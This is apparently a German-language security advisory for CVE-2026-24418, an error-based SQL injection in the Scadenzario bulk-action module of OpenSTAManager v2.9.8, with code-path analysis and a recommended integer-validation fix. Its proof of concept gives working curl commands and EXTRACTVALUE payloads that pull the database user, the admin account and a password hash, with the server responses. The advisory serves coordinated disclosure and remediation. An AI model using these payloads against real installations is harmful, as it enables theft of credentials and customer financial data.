
CVE-2026-24418 - OpenSTAManager hat eine SQL-Injection-Schwachstelle im Modul für Sammeloperationen von Scadenzario
| Feld | Details |
|---|
| CVE-ID | CVE-2026-24418 |
| Schweregrad | HOCH |
| Sicherheitshinweis | Hinweis ansehen |
| Entdeckt von | Lukasz Rybak |
Kritische fehlerbasierte SQL-Injection-Schwachstelle im Scadenzario-Massenbearbeitungsmodul (Zahlungsplan) von OpenSTAManager v2.9.8 erlaubt authentifizierten Angreifern, vollständige Datenbankinhalte einschließlich Benutzerdaten, personenbezogene Kundendaten und Finanzdaten über XML-Fehlermeldungen zu extrahieren.
Status: ✅ Bestätigt und auf Live-Instanz getestet (v2.9.8)
Angreifbarer Parameter: id_records[] (POST-Array)
Betroffener Endpunkt: /actions.php?id_module=18 (Scadenzario-Modul)
Angriffstyp: Fehlerbasierte SQL-Injection (IN-Klausel)
OpenSTAManager v2.9.8 enthält eine kritische fehlerbasierte SQL-Injection-Schwachstelle im Massenbearbeitungshandler des Scadenzario-Moduls (Zahlungsplan). Die Anwendung prüft nicht, ob Elemente des id_records-Arrays ganze Zahlen sind, bevor sie in einer SQL IN()-Klausel verwendet werden, was Angreifern erlaubt, beliebige SQL-Befehle einzuschleusen und vertrauliche Daten über XPATH-Fehlermeldungen zu extrahieren.
Schwachstellenkette:
Einstiegspunkt: /actions.php (Zeilen 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
Die Funktion array_clean() entfernt nur leere Werte – sie überprüft NICHT die Typen.
Angreifbare Funktion: /lib/util.php (Zeilen 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
Auswirkung: Die Funktion filtert leere Werte heraus, akzeptiert aber jeden nicht-leeren Wert, einschließlich SQL-Injection-Payloads.
SQL-Injection-Punkt: /modules/scadenzario/bulk.php (Zeile 88) PRIMÄRE SCHWACHSTELLE
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Auswirkung: Array-Elemente aus $id_records werden mittels implode() direkt verkettet, ohne Typüberprüfung oder prepare(), was vollständige SQL-Injection ermöglicht.
Ursachenanalyse:
Die Schwachstelle besteht, weil:
post('id_records') ein vom Benutzer gesteuertes Array zurückgibtarray_clean() nur leere Werte entfernt, keine nicht-ganzzahligen Werteimplode(',', $id_records) Array-Elemente direkt in SQL verkettetid_records[]=1&id_records[]=(MALICIOUS SQL)# bereitstellenBetroffener Codepfad:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
Schritt 1: Anmelden
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Schritt 2: Schwachstelle verifizieren (fehlerbasierte SQL-Injection)
Test 1: Datenbankbenutzer und -version extrahieren
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
Antwort (Fehlermeldung für Angreifer sichtbar):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Test 2: Administrator-Anmeldeinformationen extrahieren
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Antwort:
<code>XPATH syntax error: '~admin:[email protected]'</code>
Test 3: Passwort-Hash extrahieren (Teil 1 – erste 31 Zeichen)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Antwort:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Test 4: Passwort-Hash extrahieren (Teil 2 – Zeichen 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Antwort:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Kombinierter Passwort-Hash:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Alle authentifizierten Benutzer mit Zugriff auf die Massenbearbeitung des Scadenzario-Moduls (Zahlungsplan).
Empfohlene Behebung:
Primäre Behebung – Typüberprüfung:
Datei: /modules/scadenzario/bulk.php
VORHER (anfällig – Zeile 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
NACHHER (behoben):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Entdeckt von Łukasz Rybak
Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken verantwortungsvoll offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.